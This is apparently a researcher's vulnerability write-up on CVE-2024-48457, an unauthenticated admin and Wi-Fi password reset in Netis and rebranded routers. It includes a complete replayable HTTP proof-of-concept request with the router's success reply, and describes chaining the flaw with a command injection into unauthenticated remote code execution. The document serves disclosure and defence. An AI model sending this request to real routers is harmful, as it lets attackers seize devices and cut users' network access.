H00DIE-GR3YGitHub ↗ (opens in a new tab)
Menu
ORIGINAL RESEARCHEXPLOIT DEVELOPMENTCVE-2024-48457

CVE-2024-48457 — Netis Routers Unauthenticated Password Reset

Authentication bypass in the Netis first-time setup workflow allows an unauthenticated attacker to reset both the router administrator password and Wi-Fi password.

Originally published on Rapid7 AttackerKB · 2025-01-07 · revised 2025-03-18

Overview

CVE-2024-48457 is an authentication-bypass condition in the initial setup workflow of multiple Netis routers and rebranded devices from GLCtec and Stonet. The first-time setup request used to configure the router administrator and Wi-Fi credentials can be replayed after installation without an authenticated session.

An unauthenticated attacker able to reach the management interface can therefore replace both the administrator password and the Wi-Fi pre-shared key. The new administrator credential can then be used with CVE-2024-48456 to reach command execution.

Attack prerequisites

No valid router session is required. The attacker only needs network access to the affected web-management interface.

Proof of concept

The setup endpoint accepts Base64-encoded credential values through the wpaPsk and password fields. Replaying the following request with attacker-selected values resets both credentials:

POST /cgi-bin/skk_set.cgi HTTP/1.1
Host: 192.168.1.1
Content-Length: 251
Sec-Ch-Ua: "Not;A=Brand";v="24", "Chromium";v="128"
Accept: text/plain, */*; q=0.01
Sec-Ch-Ua-Platform: "Linux"
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: https://192.168.1.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.1.1/guide/welcome.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
Connection: keep-alive

wl2g_idx=6&wl5g_idx=0&wlanMode=0&wl_idx=0&ssid2g=bmV0aXMtMDAwMDAw&ssid5g=bmV0aXMtMDAwMDAwLTVH&encrypt=4&wpaPsk=SWwwdmVoYWNraW5n&wpaPskType=2&wpaPskFormat=0&password=SWwwdmVoYWNraW5n&autoUpdate=0&firstSetup=1&quick_set=ap&app=wan_set_shortcut&wl_link=0

The router accepts the unauthenticated request:

HTTP/1.1 200 OK
Date: Sun, 01 Jan 2023 00:04:13 GMT
Server: Boa/0.94.14rc21
Connection: close

["SUCCESS"]

Exploit chain

The research combines three related vulnerabilities:

  1. CVE-2024-48455 — unauthenticated information disclosure used to identify affected targets and firmware.
  2. CVE-2024-48457 — unauthenticated administrator and Wi-Fi password reset.
  3. CVE-2024-48456 — command injection in the authenticated password-change workflow.

The password reset supplied by CVE-2024-48457 removes the authentication prerequisite from CVE-2024-48456, producing an unauthenticated remote code execution path. A Metasploit module was developed to automate the chain.

Affected firmware

The following firmware images were confirmed vulnerable in the archived research:

Impact

An attacker can take over the router’s administrative credentials without knowing the existing password. This can also disrupt wireless access by replacing the Wi-Fi key. When chained with CVE-2024-48456, the issue enables operating-system command execution.

Exploit development

A Metasploit module was developed to automate the Netis authentication-bypass and command-injection chain.

Remediation

The archived research recorded no fix available at the time of publication. Restrict management-interface access to trusted networks and replace or update affected devices when fixed firmware becomes available.

References

Credits

Discovery: h00die-gr3y.